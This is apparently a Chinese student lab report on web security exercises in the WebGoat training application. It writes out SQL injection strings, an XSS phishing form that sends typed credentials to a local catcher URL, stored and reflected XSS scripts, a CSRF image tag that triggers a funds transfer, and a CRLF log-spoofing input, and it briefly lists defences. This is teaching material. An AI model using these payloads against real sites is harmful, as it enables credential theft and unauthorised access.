NF_Exp9_20164306

Web安全基礎

1 關鍵內容

Webgoat下進行SQL注入,XSS攻擊,CSRF攻擊java

2 實驗準備

下載地址:https://github.com/WebGoat/WebGoat/releases?after=8.0.0git

運行WebGoat程序員

java -jar webgoat-container-7.0.1-war-exec.jar

 在瀏覽器中輸入如下命令,登陸以確認WebGoat正常運行github

localhost:8080/WebGoat

String SQL Injection

輸入web

'or 1='1

對應的SQL語句爲正則表達式

SELECT * FROM user_data WHERE last_name = ''or 1='1'

由於判斷條件永遠爲真,因此成功經過驗證數據庫

4 Phishing with XSS

跨站腳本釣魚攻擊,在文本框中輸入以下釣魚網站代碼編程

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>please input your information here:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

生成登陸界面,在界面中輸入用戶名和密碼,可看到截獲的信息瀏覽器

5 Stored XSS Attacks

用戶訪問時會執行非預期的腳本安全

在Message中輸入如下語句,提交發帖

<script>alert("4306 attack succeed!");</script>

點擊,訪問帖子時會出現彈框

6 Cross Site Request Forgery(CSRF)

用戶點擊時觸發事件,實現跨站請求僞造

在message框中輸入

<img src="http://localhost:8080/WebGoat/attack?
Screen=288&menu=900&transferFunds=4306"/>

用戶點擊後,攻擊成功

7 Log Spoofing

日誌的記錄是Login failed for username:輸入的username

輸入如下命令使之誤覺得admin登陸成功

 

smith%0d%0aLogin Succeeded for username: admin

 

8 Reflected XSS Attacks

用戶訪問時會執行非預期的腳本

和其餘XSS攻擊的區別應該在於腳本寫入的位置

<script>alert("20164306");</script>

9 LAB: SQL Injection

限制了密碼輸入長度

修改元素屬性,再輸入如下內容便可完成攻擊

' or 1=1 --

(對實戰中可否操做存疑)

 

10 基礎問題回答

SQL注入攻擊原理,如何防護

利用程序員編程時的疏忽,執行惡意SQL語句,實現無賬號登陸,甚至篡改數據庫

防護方法有正則表達式過濾,字符串過濾,PreparedStatement等

XSS攻擊的原理,如何防護

跨站腳本攻擊(XSS)是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種

攻擊者將惡意代碼注入到網頁上,其餘用戶在瀏覽網頁時就會受到影響 

防護方法有特殊字符過濾,標籤過濾等

CSRF攻擊原理,如何防護

跨站域請求僞造(CSRF)是一種對網站的惡意利用

XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站

防護方法有驗證請求來源,生成隨機token等

11 總結

按照實驗要求,沒抓圖,純文字描述實驗過程,但願寫的足夠具體

webgoat在Windows下就能運行

其中還有其它有意思的實驗,值得嘗試

本站公眾號
   歡迎關注本站公眾號,獲取更多信息